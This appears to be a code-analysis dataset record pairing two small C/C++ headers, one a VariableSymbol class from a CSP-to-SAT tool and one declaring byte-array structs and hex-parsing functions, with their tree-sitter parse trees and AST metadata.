"SymbolTable" (ERROR) "::_varbool" (:) ":" (:) ":" (identifier) "_varbool" ()) ")" (compound_statement) "{\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }" ({) "{" (if_statement) "if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();" (if) "if" (parenthesized_expression) "(!SymbolTable::entityDefinitionBlock)" (() "(" (ERROR) "!SymbolTable::" (unary_expression) "!SymbolTable" (!) "!" (identifier) "SymbolTable" (:) ":" (:) ":" (identifier) "entityDefinitionBlock" ()) ")" (expression_statement) "var = f->newBoolVar();" (assignment_expression) "var = f->newBoolVar()" (identifier) "var" (=) "=" (call_expression) "f->newBoolVar()" (field_expression) "f->newBoolVar" (identifier) "f" (->) "->" (field_identifier) "newBoolVar" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (expression_statement) "VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;" (comma_expression) "VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit" (binary_expression) "VariableSymbol(const string &name" (identifier) "VariableSymbol" (ERROR) "(const string" (() "(" (type_descriptor) "const string" (type_qualifier) "const" (const) "const" (type_identifier) "string" (&) "&" (identifier) "name" (,) "," (ERROR) "literal lit) : ValueSymbol(name, SymbolTable::_varbool) {" (identifier) "literal" (identifier) "lit" ()) ")" (:) ":" (call_expression) "ValueSymbol(name, SymbolTable::_varbool)" (identifier) "ValueSymbol" (argument_list) "(name, SymbolTable::_varbool)" (() "(" (identifier) "name" (,) "," (identifier) "SymbolTable" (ERROR) "::_varbool" (:) ":" (:) ":" (identifier) "_varbool" ()) ")" ({) "{" (assignment_expression) "var = lit" (identifier) "var" (=) "=" (identifier) "lit" (;) ";" (}) "}" (function_definition) "bool isAssignable() override {\n return false;\n }" (primitive_type) "bool" (function_declarator) "isAssignable() override" (identifier) "isAssignable" (parameter_list) "()" (() "(" ()) ")" (identifier) "override" (compound_statement) "{\n return false;\n }" ({) "{" (return_statement) "return false;" (return) "return" (false) "false" (;) ";" (}) "}" (function_definition) "literal getVar() {\n return var;\n }" (type_identifier) "literal" (function_declarator) "getVar()" (identifier) "getVar" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return var;\n }" ({) "{" (return_statement) "return var;" (return) "return" (identifier) "var" (;) ";" (}) "}" (ERROR) "bool getModelValue() const" (primitive_type) "bool" (function_declarator) "getModelValue()" (identifier) "getModelValue" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{\n return modelValue;\n }" ({) "{" (return_statement) "return modelValue;" (return) "return" (identifier) "modelValue" (;) ";" (}) "}" (function_definition) "void setModelValue(bool modelValue) {\n VariableSymbol::modelValue = modelValue;\n }" (primitive_type) "void" (function_declarator) "setModelValue(bool modelValue)" (identifier) "setModelValue" (parameter_list) "(bool modelValue)" (() "(" (parameter_declaration) "bool modelValue" (primitive_type) "bool" (identifier) "modelValue" ()) ")" (compound_statement) "{\n VariableSymbol::modelValue = modelValue;\n }" ({) "{" (labeled_statement) "VariableSymbol::modelValue = modelValue;" (statement_identifier) "VariableSymbol" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "modelValue = modelValue;" (assignment_expression) "modelValue = modelValue" (identifier) "modelValue" (=) "=" (identifier) "modelValue" (;) ";" (}) "}" (labeled_statement) "private:\n literal var;" (statement_identifier) "private" (:) ":" (declaration) "literal var;" (type_identifier) "literal" (identifier) "var" (;) ";" (declaration) "bool modelValue;" (primitive_type) "bool" (identifier) "modelValue" (;) ";" (ERROR) "}" (}) "}" (expression_statement) ";" (;) ";" (#endif) "#endif" (comment) "//CSP2SAT_VARIABLESYMBOL_H"
210
11
{"language": "c", "success": true, "metadata": {"lines": 35, "avg_line_length": 23.46, "nodes": 109, "errors": 0, "source_hash": "24ed00701eb0966ed26886c9402c49f7876644aed81fb28a9c7c65aa5ae5e84c", "categorized_nodes": 75}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef CSP2SAT_VARIABLESYMBOL_H\n#define CSP2SAT_VARIABLESYMBOL_H\n\n#include \"ValueSymbol.h\"\n\n\nclass VariableSymbol: public ValueSymbol {\npublic:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }\n\n VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;\n }\n\n bool isAssignable() override {\n return false;\n }\n\n literal getVar() {\n return var;\n }\n\n bool getModelValue() const {\n return modelValue;\n }\n\n void setModelValue(bool modelValue) {\n VariableSymbol::modelValue = modelValue;\n }\n\n\nprivate:\n literal var;\n bool modelValue;\n};\n\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 67, 75, 81, 88, 102, 105, 108], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 44, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "identifier", "text": "CSP2SAT_VARIABLESYMBOL_H", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 32}}, {"id": 3, "type": "preproc_def", "text": "#define CSP2SAT_VARIABLESYMBOL_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 5, "type": "identifier", "text": "CSP2SAT_VARIABLESYMBOL_H", "parent": 3, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 32}}, {"id": 6, "type": "preproc_include", "text": "#include \"ValueSymbol.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"ValueSymbol.h\"", "parent": 6, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 24}}, {"id": 9, "type": "function_definition", "text": "class VariableSymbol: public ValueSymbol {\npublic:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }\n\n VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;\n }", "parent": 0, "children": [10, 11], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 19, "column": 5}}, {"id": 10, "type": "identifier", "text": "VariableSymbol", "parent": 9, "children": [], "start_point": {"row": 10, "column": 6}, "end_point": {"row": 10, "column": 20}}, {"id": 11, "type": "ERROR", "text": ": public ValueSymbol", "parent": 9, "children": [12], "start_point": {"row": 10, "column": 20}, "end_point": {"row": 10, "column": 40}}, {"id": 12, "type": "identifier", "text": "ValueSymbol", "parent": 11, "children": [], "start_point": {"row": 10, "column": 29}, "end_point": {"row": 10, "column": 40}}, {"id": 13, "type": "labeled_statement", "text": "public:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }", "parent": 9, "children": [14], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 15, "column": 5}}, {"id": 14, "type": "ERROR", "text": "VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool)", "parent": 13, "children": [15, 26], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 96}}, {"id": 15, "type": "comma_expression", "text": "VariableSymbol(const string &name, SMTFormula *f", "parent": 14, "children": [16, 22], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 52}}, {"id": 16, "type": "binary_expression", "text": "VariableSymbol(const string &name", "parent": 15, "children": [17, 18, 21], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 37}}, {"id": 17, "type": "identifier", "text": "VariableSymbol", "parent": 16, "children": [], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 18}}, {"id": 18, "type": "ERROR", "text": "(const string", "parent": 16, "children": [19], "start_point": {"row": 12, "column": 18}, "end_point": {"row": 12, "column": 31}}, {"id": 19, "type": "type_descriptor", "text": "const string", "parent": 18, "children": [20], "start_point": {"row": 12, "column": 19}, "end_point": {"row": 12, "column": 31}}, {"id": 20, "type": "type_identifier", "text": "string", "parent": 19, "children": [], "start_point": {"row": 12, "column": 25}, "end_point": {"row": 12, "column": 31}}, {"id": 21, "type": "identifier", "text": "name", "parent": 16, "children": [], "start_point": {"row": 12, "column": 33}, "end_point": {"row": 12, "column": 37}}, {"id": 22, "type": "binary_expression", "text": "SMTFormula *f", "parent": 15, "children": [23, 24, 25], "start_point": {"row": 12, "column": 39}, "end_point": {"row": 12, "column": 52}}, {"id": 23, "type": "identifier", "text": "SMTFormula", "parent": 22, "children": [], "start_point": {"row": 12, "column": 39}, "end_point": {"row": 12, "column": 49}}, {"id": 24, "type": "*", "text": "*", "parent": 22, "children": [], "start_point": {"row": 12, "column": 50}, "end_point": {"row": 12, "column": 51}}, {"id": 25, "type": "identifier", "text": "f", "parent": 22, "children": [], "start_point": {"row": 12, "column": 51}, "end_point": {"row": 12, "column": 52}}, {"id": 26, "type": "call_expression", "text": "ValueSymbol(name, SymbolTable::_varbool)", "parent": 14, "children": [27, 28], "start_point": {"row": 12, "column": 56}, "end_point": {"row": 12, "column": 96}}, {"id": 27, "type": "identifier", "text": "ValueSymbol", "parent": 26, "children": [], "start_point": {"row": 12, "column": 56}, "end_point": {"row": 12, "column": 67}}, {"id": 28, "type": "argument_list", "text": "(name, SymbolTable::_varbool)", "parent": 26, "children": [29, 30, 31], "start_point": {"row": 12, "column": 67}, "end_point": {"row": 12, "column": 96}}, {"id": 29, "type": "identifier", "text": "name", "parent": 28, "children": [], "start_point": {"row": 12, "column": 68}, "end_point": {"row": 12, "column": 72}}, {"id": 30, "type": "identifier", "text": "SymbolTable", "parent": 28, "children": [], "start_point": {"row": 12, "column": 74}, "end_point": {"row": 12, "column": 85}}, {"id": 31, "type": "ERROR", "text": "::_varbool", "parent": 28, "children": [32], "start_point": {"row": 12, "column": 85}, "end_point": {"row": 12, "column": 95}}, {"id": 32, "type": "identifier", "text": "_varbool", "parent": 31, "children": [], "start_point": {"row": 12, "column": 87}, "end_point": {"row": 12, "column": 95}}, {"id": 33, "type": "if_statement", "text": "if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();", "parent": 13, "children": [34], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 14, "column": 34}}, {"id": 34, "type": "parenthesized_expression", "text": "(!SymbolTable::entityDefinitionBlock)", "parent": 33, "children": [35, 39], "start_point": {"row": 13, "column": 10}, "end_point": {"row": 13, "column": 47}}, {"id": 35, "type": "ERROR", "text": "!SymbolTable::", "parent": 34, "children": [36], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 25}}, {"id": 36, "type": "unary_expression", "text": "!SymbolTable", "parent": 35, "children": [37, 38], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 23}}, {"id": 37, "type": "!", "text": "!", "parent": 36, "children": [], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 12}}, {"id": 38, "type": "identifier", "text": "SymbolTable", "parent": 36, "children": [], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 23}}, {"id": 39, "type": "identifier", "text": "entityDefinitionBlock", "parent": 34, "children": [], "start_point": {"row": 13, "column": 25}, "end_point": {"row": 13, "column": 46}}, {"id": 40, "type": "assignment_expression", "text": "var = f->newBoolVar()", "parent": 33, "children": [41, 42], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 33}}, {"id": 41, "type": "=", "text": "=", "parent": 40, "children": [], "start_point": {"row": 14, "column": 16}, "end_point": {"row": 14, "column": 17}}, {"id": 42, "type": "call_expression", "text": "f->newBoolVar()", "parent": 40, "children": [43, 46], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 33}}, {"id": 43, "type": "field_expression", "text": "f->newBoolVar", "parent": 42, "children": [44, 45], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 31}}, {"id": 44, "type": "identifier", "text": "f", "parent": 43, "children": [], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 19}}, {"id": 45, "type": "field_identifier", "text": "newBoolVar", "parent": 43, "children": [], "start_point": {"row": 14, "column": 21}, "end_point": {"row": 14, "column": 31}}, {"id": 46, "type": "argument_list", "text": "()", "parent": 42, "children": [], "start_point": {"row": 14, "column": 31}, "end_point": {"row": 14, "column": 33}}, {"id": 47, "type": "comma_expression", "text": "VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit", "parent": 9, "children": [48, 54, 64], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 18, "column": 17}}, {"id": 48, "type": "binary_expression", "text": "VariableSymbol(const string &name", "parent": 47, "children": [49, 50, 53], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 37}}, {"id": 49, "type": "identifier", "text": "VariableSymbol", "parent": 48, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 18}}, {"id": 50, "type": "ERROR", "text": "(const string", "parent": 48, "children": [51], "start_point": {"row": 17, "column": 18}, "end_point": {"row": 17, "column": 31}}, {"id": 51, "type": "type_descriptor", "text": "const string", "parent": 50, "children": [52], "start_point": {"row": 17, "column": 19}, "end_point": {"row": 17, "column": 31}}, {"id": 52, "type": "type_identifier", "text": "string", "parent": 51, "children": [], "start_point": {"row": 17, "column": 25}, "end_point": {"row": 17, "column": 31}}, {"id": 53, "type": "identifier", "text": "name", "parent": 48, "children": [], "start_point": {"row": 17, "column": 33}, "end_point": {"row": 17, "column": 37}}, {"id": 54, "type": "ERROR", "text": "literal lit) : ValueSymbol(name, SymbolTable::_varbool) {", "parent": 47, "children": [55, 56, 57], "start_point": {"row": 17, "column": 39}, "end_point": {"row": 17, "column": 96}}, {"id": 55, "type": "identifier", "text": "literal", "parent": 54, "children": [], "start_point": {"row": 17, "column": 39}, "end_point": {"row": 17, "column": 46}}, {"id": 56, "type": "identifier", "text": "lit", "parent": 54, "children": [], "start_point": {"row": 17, "column": 47}, "end_point": {"row": 17, "column": 50}}, {"id": 57, "type": "call_expression", "text": "ValueSymbol(name, SymbolTable::_varbool)", "parent": 54, "children": [58, 59], "start_point": {"row": 17, "column": 54}, "end_point": {"row": 17, "column": 94}}, {"id": 58, "type": "identifier", "text": "ValueSymbol", "parent": 57, "children": [], "start_point": {"row": 17, "column": 54}, "end_point": {"row": 17, "column": 65}}, {"id": 59, "type": "argument_list", "text": "(name, SymbolTable::_varbool)", "parent": 57, "children": [60, 61, 62], "start_point": {"row": 17, "column": 65}, "end_point": {"row": 17, "column": 94}}, {"id": 60, "type": "identifier", "text": "name", "parent": 59, "children": [], "start_point": {"row": 17, "column": 66}, "end_point": {"row": 17, "column": 70}}, {"id": 61, "type": "identifier", "text": "SymbolTable", "parent": 59, "children": [], "start_point": {"row": 17, "column": 72}, "end_point": {"row": 17, "column": 83}}, {"id": 62, "type": "ERROR", "text": "::_varbool", "parent": 59, "children": [63], "start_point": {"row": 17, "column": 83}, "end_point": {"row": 17, "column": 93}}, {"id": 63, "type": "identifier", "text": "_varbool", "parent": 62, "children": [], "start_point": {"row": 17, "column": 85}, "end_point": {"row": 17, "column": 93}}, {"id": 64, "type": "assignment_expression", "text": "var = lit", "parent": 47, "children": [65, 66], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 17}}, {"id": 65, "type": "=", "text": "=", "parent": 64, "children": [], "start_point": {"row": 18, "column": 12}, "end_point": {"row": 18, "column": 13}}, {"id": 66, "type": "identifier", "text": "lit", "parent": 64, "children": [], "start_point": {"row": 18, "column": 14}, "end_point": {"row": 18, "column": 17}}, {"id": 67, "type": "function_definition", "text": "bool isAssignable() override {\n return false;\n }", "parent": 0, "children": [68, 69], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 23, "column": 5}}, {"id": 68, "type": "primitive_type", "text": "bool", "parent": 67, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 8}}, {"id": 69, "type": "function_declarator", "text": "isAssignable() override", "parent": 67, "children": [70, 71, 72], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 32}}, {"id": 70, "type": "identifier", "text": "isAssignable", "parent": 69, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 21}}, {"id": 71, "type": "parameter_list", "text": "()", "parent": 69, "children": [], "start_point": {"row": 21, "column": 21}, "end_point": {"row": 21, "column": 23}}, {"id": 72, "type": "identifier", "text": "override", "parent": 69, "children": [], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 32}}, {"id": 73, "type": "return_statement", "text": "return false;", "parent": 67, "children": [74], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 21}}, {"id": 74, "type": "false", "text": "false", "parent": 73, "children": [], "start_point": {"row": 22, "column": 15}, "end_point": {"row": 22, "column": 20}}, {"id": 75, "type": "function_definition", "text": "literal getVar() {\n return var;\n }", "parent": 0, "children": [76, 77], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 27, "column": 5}}, {"id": 76, "type": "type_identifier", "text": "literal", "parent": 75, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 11}}, {"id": 77, "type": "function_declarator", "text": "getVar()", "parent": 75, "children": [78, 79], "start_point": {"row": 25, "column": 12}, "end_point": {"row": 25, "column": 20}}, {"id": 78, "type": "identifier", "text": "getVar", "parent": 77, "children": [], "start_point": {"row": 25, "column": 12}, "end_point": {"row": 25, "column": 18}}, {"id": 79, "type": "parameter_list", "text": "()", "parent": 77, "children": [], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 20}}, {"id": 80, "type": "return_statement", "text": "return var;", "parent": 75, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 19}}, {"id": 81, "type": "ERROR", "text": "bool getModelValue() const", "parent": 0, "children": [82, 83], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 30}}, {"id": 82, "type": "primitive_type", "text": "bool", "parent": 81, "children": [], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 8}}, {"id": 83, "type": "function_declarator", "text": "getModelValue()", "parent": 81, "children": [84, 85], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 24}}, {"id": 84, "type": "identifier", "text": "getModelValue", "parent": 83, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 22}}, {"id": 85, "type": "parameter_list", "text": "()", "parent": 83, "children": [], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 24}}, {"id": 86, "type": "return_statement", "text": "return modelValue;", "parent": 0, "children": [87], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 26}}, {"id": 87, "type": "identifier", "text": "modelValue", "parent": 86, "children": [], "start_point": {"row": 30, "column": 15}, "end_point": {"row": 30, "column": 25}}, {"id": 88, "type": "function_definition", "text": "void setModelValue(bool modelValue) {\n VariableSymbol::modelValue = modelValue;\n }", "parent": 0, "children": [89, 90], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 35, "column": 5}}, {"id": 89, "type": "primitive_type", "text": "void", "parent": 88, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 8}}, {"id": 90, "type": "function_declarator", "text": "setModelValue(bool modelValue)", "parent": 88, "children": [91, 92], "start_point": {"row": 33, "column": 9}, "end_point": {"row": 33, "column": 39}}, {"id": 91, "type": "identifier", "text": "setModelValue", "parent": 90, "children": [], "start_point": {"row": 33, "column": 9}, "end_point": {"row": 33, "column": 22}}, {"id": 92, "type": "parameter_list", "text": "(bool modelValue)", "parent": 90, "children": [93], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 39}}, {"id": 93, "type": "parameter_declaration", "text": "bool modelValue", "parent": 92, "children": [94, 95], "start_point": {"row": 33, "column": 23}, "end_point": {"row": 33, "column": 38}}, {"id": 94, "type": "primitive_type", "text": "bool", "parent": 93, "children": [], "start_point": {"row": 33, "column": 23}, "end_point": {"row": 33, "column": 27}}, {"id": 95, "type": "identifier", "text": "modelValue", "parent": 93, "children": [], "start_point": {"row": 33, "column": 28}, "end_point": {"row": 33, "column": 38}}, {"id": 96, "type": "labeled_statement", "text": "VariableSymbol::modelValue = modelValue;", "parent": 88, "children": [97], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 48}}, {"id": 97, "type": "statement_identifier", "text": "VariableSymbol", "parent": 96, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 22}}, {"id": 98, "type": "assignment_expression", "text": "modelValue = modelValue", "parent": 96, "children": [99, 100, 101], "start_point": {"row": 34, "column": 24}, "end_point": {"row": 34, "column": 47}}, {"id": 99, "type": "identifier", "text": "modelValue", "parent": 98, "children": [], "start_point": {"row": 34, "column": 24}, "end_point": {"row": 34, "column": 34}}, {"id": 100, "type": "=", "text": "=", "parent": 98, "children": [], "start_point": {"row": 34, "column": 35}, "end_point": {"row": 34, "column": 36}}, {"id": 101, "type": "identifier", "text": "modelValue", "parent": 98, "children": [], "start_point": {"row": 34, "column": 37}, "end_point": {"row": 34, "column": 47}}, {"id": 102, "type": "labeled_statement", "text": "private:\n literal var;", "parent": 0, "children": [103], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 39, "column": 16}}, {"id": 103, "type": "declaration", "text": "literal var;", "parent": 102, "children": [104], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 16}}, {"id": 104, "type": "type_identifier", "text": "literal", "parent": 103, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 11}}, {"id": 105, "type": "declaration", "text": "bool modelValue;", "parent": 0, "children": [106, 107], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 20}}, {"id": 106, "type": "primitive_type", "text": "bool", "parent": 105, "children": [], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 8}}, {"id": 107, "type": "identifier", "text": "modelValue", "parent": 105, "children": [], "start_point": {"row": 40, "column": 9}, "end_point": {"row": 40, "column": 19}}, {"id": 108, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 6}}]}, "node_categories": {"declarations": {"functions": [9, 67, 69, 75, 77, 83, 88, 90], "variables": [93, 103, 105], "classes": [], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [15, 16, 22, 26, 34, 36, 42, 43, 47, 48, 57], "assignments": [40, 64, 98], "loops": [], "conditionals": [0, 1, 2, 5, 10, 12, 17, 20, 21, 23, 25, 27, 29, 30, 32, 33, 38, 39, 44, 45, 49, 52, 53, 55, 56, 58, 60, 61, 63, 66, 70, 72, 76, 78, 84, 87, 91, 95, 97, 99, 101, 104, 107, 108], "returns": [73, 80, 86], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 9, "universal_type": "function", "name": "VariableSymbol:", "text_snippet": "class VariableSymbol: public ValueSymbol {\npublic:\n VariableSymbol(const string &name, SMTFormula"}, {"node_id": 67, "universal_type": "function", "name": "isAssignable", "text_snippet": "bool isAssignable() override {\n return false;\n }"}, {"node_id": 69, "universal_type": "function", "name": "unknown", "text_snippet": "isAssignable() override"}, {"node_id": 75, "universal_type": "function", "name": "unknown", "text_snippet": "literal getVar() {\n return var;\n }"}, {"node_id": 77, "universal_type": "function", "name": "unknown", "text_snippet": "getVar()"}, {"node_id": 83, "universal_type": "function", "name": "unknown", "text_snippet": "getModelValue()"}, {"node_id": 88, "universal_type": "function", "name": "setModelValue", "text_snippet": "void setModelValue(bool modelValue) {\n VariableSymbol::modelValue = modelValue;\n }"}, {"node_id": 90, "universal_type": "function", "name": "unknown", "text_snippet": "setModelValue(bool modelValue)"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"ValueSymbol.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "//\n// Created by <NAME> on 19/03/2020.\n//\n\n#ifndef CSP2SAT_VARIABLESYMBOL_H\n#define CSP2SAT_VARIABLESYMBOL_H\n\n#include \"ValueSymbol.h\"\n\n\nclass VariableSymbol: public ValueSymbol {\npublic:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }\n\n VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;\n }\n\n bool isAssignable() override {\n return false;\n }\n\n literal getVar() {\n return var;\n }\n\n bool getModelValue() const {\n return modelValue;\n }\n\n void setModelValue(bool modelValue) {\n VariableSymbol::modelValue = modelValue;\n }\n\n\nprivate:\n literal var;\n bool modelValue;\n};\n\n\n#endif //CSP2SAT_VARIABLESYMBOL_H\n"}
81,131
c
#pragma once #include <stdio.h> #include <stdint.h> #pragma pack(push, 1) struct Bytes32 { uint8_t value[32]; }; #pragma pack(pop) #pragma pack(push, 1) struct Bytes100 { uint8_t value[100]; }; #pragma pack(pop) uint8_t *bytes_from_hex_alloc(const char *hex); struct Bytes32 bytes32_from_hex(const char *hex, int *error_code);
21.33
15
(translation_unit) "#pragma once\n\n#include <stdio.h>\n#include <stdint.h>\n\n#pragma pack(push, 1)\nstruct Bytes32 {\n uint8_t value[32];\n};\n#pragma pack(pop)\n\n#pragma pack(push, 1)\nstruct Bytes100 {\n uint8_t value[100];\n};\n#pragma pack(pop)\n\nuint8_t *bytes_from_hex_alloc(const char *hex);\n\nstruct Bytes32 bytes32_from_hex(const char *hex, int *error_code);\n\n" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <stdint.h>\n" (#include) "#include" (system_lib_string) "<stdint.h>" (preproc_call) "#pragma pack(push, 1)\n" (preproc_directive) "#pragma" (preproc_arg) "pack(push, 1)" (struct_specifier) "struct Bytes32 {\n uint8_t value[32];\n}" (struct) "struct" (type_identifier) "Bytes32" (field_declaration_list) "{\n uint8_t value[32];\n}" ({) "{" (field_declaration) "uint8_t value[32];" (primitive_type) "uint8_t" (array_declarator) "value[32]" (field_identifier) "value" ([) "[" (number_literal) "32" (]) "]" (;) ";" (}) "}" (;) ";" (preproc_call) "#pragma pack(pop)\n" (preproc_directive) "#pragma" (preproc_arg) "pack(pop)" (preproc_call) "#pragma pack(push, 1)\n" (preproc_directive) "#pragma" (preproc_arg) "pack(push, 1)" (struct_specifier) "struct Bytes100 {\n uint8_t value[100];\n}" (struct) "struct" (type_identifier) "Bytes100" (field_declaration_list) "{\n uint8_t value[100];\n}" ({) "{" (field_declaration) "uint8_t value[100];" (primitive_type) "uint8_t" (array_declarator) "value[100]" (field_identifier) "value" ([) "[" (number_literal) "100" (]) "]" (;) ";" (}) "}" (;) ";" (preproc_call) "#pragma pack(pop)\n" (preproc_directive) "#pragma" (preproc_arg) "pack(pop)" (declaration) "uint8_t *bytes_from_hex_alloc(const char *hex);" (primitive_type) "uint8_t" (pointer_declarator) "*bytes_from_hex_alloc(const char *hex)" (*) "*" (function_declarator) "bytes_from_hex_alloc(const char *hex)" (identifier) "bytes_from_hex_alloc" (parameter_list) "(const char *hex)" (() "(" (parameter_declaration) "const char *hex" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*hex" (*) "*" (identifier) "hex" ()) ")" (;) ";" (declaration) "struct Bytes32 bytes32_from_hex(const char *hex, int *error_code);" (struct_specifier) "struct Bytes32" (struct) "struct" (type_identifier) "Bytes32" (function_declarator) "bytes32_from_hex(const char *hex, int *error_code)" (identifier) "bytes32_from_hex" (parameter_list) "(const char *hex, int *error_code)" (() "(" (parameter_declaration) "const char *hex" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*hex" (*) "*" (identifier) "hex" (,) "," (parameter_declaration) "int *error_code" (primitive_type) "int" (pointer_declarator) "*error_code" (*) "*" (identifier) "error_code" ()) ")" (;) ";"
92
0
